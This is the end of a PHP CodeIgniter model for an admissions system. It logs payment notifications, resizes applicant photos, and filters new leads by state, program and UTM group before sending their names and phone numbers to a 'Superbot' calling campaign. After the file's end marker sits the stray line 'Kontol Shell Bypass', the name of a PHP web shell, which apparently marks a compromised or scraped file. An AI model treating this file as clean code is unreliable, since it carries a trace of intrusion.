    function addPaymentMadeNoti($type, $app_id=0){
        if(!$app_id){
            return;
        }

        $to_user_ids=$this->appDataSetUserIds($app_id);
        $adtl=$this->db->select("application_no")->get_where("applications", ['id'=>$app_id])->row_array();
        $msg="Payment made by System ID: ".$adtl['application_no'];
        $d=['app_id'=>$app_id, 'type'=>$type, 'created_by'=>0, 'created'=>currentDT(), 'to_user_ids'=>implode(",", $to_user_ids), 'msg'=>$msg];
        $this->db->insert("lead_notifications", $d);
        return $this->db->insert_id();
    }

    /** */
    function leadProfilePicBlob($profile_pic=''){
        $this->load->library('Image');
        if(!$profile_pic){
            return NULL;
        }
        $path=UP_PATHF.'admissions/profiles/';
        $this->image->resize($path.$profile_pic, $path.'sm_'.$profile_pic, 150);

        $blob=@file_get_contents($path.'sm_'.$profile_pic);
        return $blob?($blob):NULL;
    }

    /** */
    function sendNewRegisteredToSuperbot($app_id){
        $campaign=$this->db->select("id, superbot_campaign_id, leads_filter")->get_where("superbot_campaigns", ['type'=>'ComingLeads', 'status'=>'Published'])->row_array();
        if(!$campaign){
            return;
        }

        $leads_filter=$campaign['leads_filter']?unserialize($campaign['leads_filter']):null;

        $f="a.id, a.application_no, a.step_completed, a.created, a.program_id, a.plan_id, a.followup_count_all, 
            u.name, u.email, u.mob, u.state_id, s.title state, pl.title plan, us.grp utm_group, us.title utm_source";
        $dtl=$this->db->select($f)
        ->from("applications a")
        ->join("applicants u", "u.id=a.applicant_id")
        ->join("master_states s", "s.id=u.state_id")
        ->join("master_program_plans pl", "pl.id=a.plan_id")
        ->join("master_utm_sources us", "u.utm_source_id=us.id", "LEFT")
        ->where("a.id", $app_id)
        ->get()
        ->row_array();

        if($dtl){
            $sendFlg=true;
            if($leads_filter){
                if($leads_filter['states']){
                    if(!in_array($dtl['state_id'], $leads_filter['states'])){
                        $sendFlg=false;
                    }
                }
                if($leads_filter['programs']){
                    if(!in_array($dtl['program_id'], $leads_filter['programs'])){
                        $sendFlg=false;
                    }
                }
                if($leads_filter['utm_groups']){
                    if(!in_array($dtl['utm_group'], $leads_filter['utm_groups'])){
                        $sendFlg=false;
                    }
                }
            }

            if($sendFlg){
                $d=[
                    'campaign_id'=>$campaign['id'],
                    'app_id'=>$app_id,
                    'created'=>currentDT(),
                ];
                $this->db->insert("superbot_campaign_leads", $d);

                $numbers[]=[
                    'reference_id'=>$dtl['application_no'],
                    'phone'=>'+91'.$dtl['mob'],
                    'parameters'=>[
                        'name'=>$dtl['name'],
                        'location'=>$dtl['state'],
                        'course'=>$dtl['plan'],
                    ],
                ];

                sendDataToSuperbot($campaign['superbot_campaign_id'], $numbers);
            }
        }

        return [$campaign, $leads_filter, $dtl, $sendFlg];
    }
}

//End of file

Kontol Shell Bypass